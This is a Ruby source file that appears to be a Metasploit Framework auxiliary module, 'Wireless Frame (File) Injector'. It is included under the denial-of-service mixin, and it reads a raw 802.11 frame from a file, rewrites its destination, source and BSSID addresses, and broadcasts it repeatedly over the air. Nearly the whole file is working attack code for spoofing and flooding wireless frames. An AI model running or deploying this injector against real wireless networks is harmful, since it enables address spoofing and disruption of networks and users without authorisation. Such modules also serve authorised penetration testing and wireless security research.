118 lines
3.0 KiB
Ruby
118 lines
3.0 KiB
Ruby
##
|
|
# $Id$
|
|
##
|
|
|
|
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
include Msf::Exploit::Lorcon2
|
|
include Msf::Auxiliary::Dos
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Wireless Frame (File) Injector',
|
|
'Description' => %q{
|
|
Inspired by Josh Wright's file2air, this module writes
|
|
wireless frames from a binary file to the air, allowing
|
|
you to substitute some addresses before it gets sent.
|
|
Unlike the original file2air (currently v1.1), this module
|
|
*does* take into account the ToDS and FromDS flags in the
|
|
frame when replacing any specified addresses.
|
|
},
|
|
# 11/03/2008
|
|
'Author' => 'kris katterjohn',
|
|
'License' => MSF_LICENSE,
|
|
'Version' => '$Revision$'
|
|
))
|
|
|
|
register_options([
|
|
OptString.new('FILE', [true, 'Filename to write to the air']),
|
|
OptString.new('ADDR_DST', [false, 'Target MAC (e.g. 00:DE:AD:BE:EF:00)']),
|
|
OptString.new('ADDR_SRC', [false, 'Source MAC (e.g. 00:DE:AD:BE:EF:00)']),
|
|
OptString.new('BSSID', [false, 'BSSID (e.g. 00:DE:AD:BE:EF:00)']),
|
|
OptInt.new('NUM', [true, 'Number of frames to send', 1])
|
|
], self.class)
|
|
end
|
|
|
|
def run
|
|
begin
|
|
frame = File.read(datastore['FILE'])
|
|
rescue ::Exception
|
|
print_status("Couldn't read from \"#{datastore['FILE']}\": #{$!}")
|
|
return
|
|
end
|
|
|
|
# Sending too much data can cause local problems, even if it's
|
|
# less than the 802.11 MTU. Gotta draw the line somewhere.
|
|
if frame.length < 10 or frame.length > 1800
|
|
print_status("Invalid frame size (should be 10-1800 bytes)")
|
|
return
|
|
end
|
|
|
|
if datastore['BSSID'] or datastore['ADDR_DST'] or datastore['ADDR_SRC']
|
|
if not substaddrs(frame)
|
|
print_status("This module doesn't support modifying frames with both ToDS and FromDS set")
|
|
return
|
|
end
|
|
end
|
|
|
|
open_wifi
|
|
|
|
print_status("Writing out #{datastore['NUM']} frames...")
|
|
|
|
datastore['NUM'].times do
|
|
wifi.write(frame)
|
|
end
|
|
|
|
close_wifi
|
|
end
|
|
|
|
def substaddrs(frame)
|
|
tods = (frame[1] & 1) == 1
|
|
fromds = (frame[1] & 2) == 2
|
|
|
|
if tods
|
|
if fromds
|
|
# Not going to handle this 4-address special-case
|
|
return nil
|
|
else
|
|
substaddr1(frame, datastore['BSSID'])
|
|
substaddr2(frame, datastore['ADDR_SRC'])
|
|
substaddr3(frame, datastore['ADDR_DST'])
|
|
end
|
|
else
|
|
if fromds
|
|
substaddr1(frame, datastore['ADDR_DST'])
|
|
substaddr2(frame, datastore['BSSID'])
|
|
substaddr3(frame, datastore['ADDR_SRC'])
|
|
else
|
|
substaddr1(frame, datastore['ADDR_DST'])
|
|
substaddr2(frame, datastore['ADDR_SRC'])
|
|
substaddr3(frame, datastore['BSSID'])
|
|
end
|
|
end
|
|
|
|
true
|
|
end
|
|
|
|
def substaddr1(frame, addr)
|
|
frame[4,6] = eton(addr) if addr
|
|
end
|
|
|
|
def substaddr2(frame, addr)
|
|
frame[10,6] = eton(addr) if addr
|
|
end
|
|
|
|
def substaddr3(frame, addr)
|
|
frame[16,6] = eton(addr) if addr
|
|
end
|
|
end
|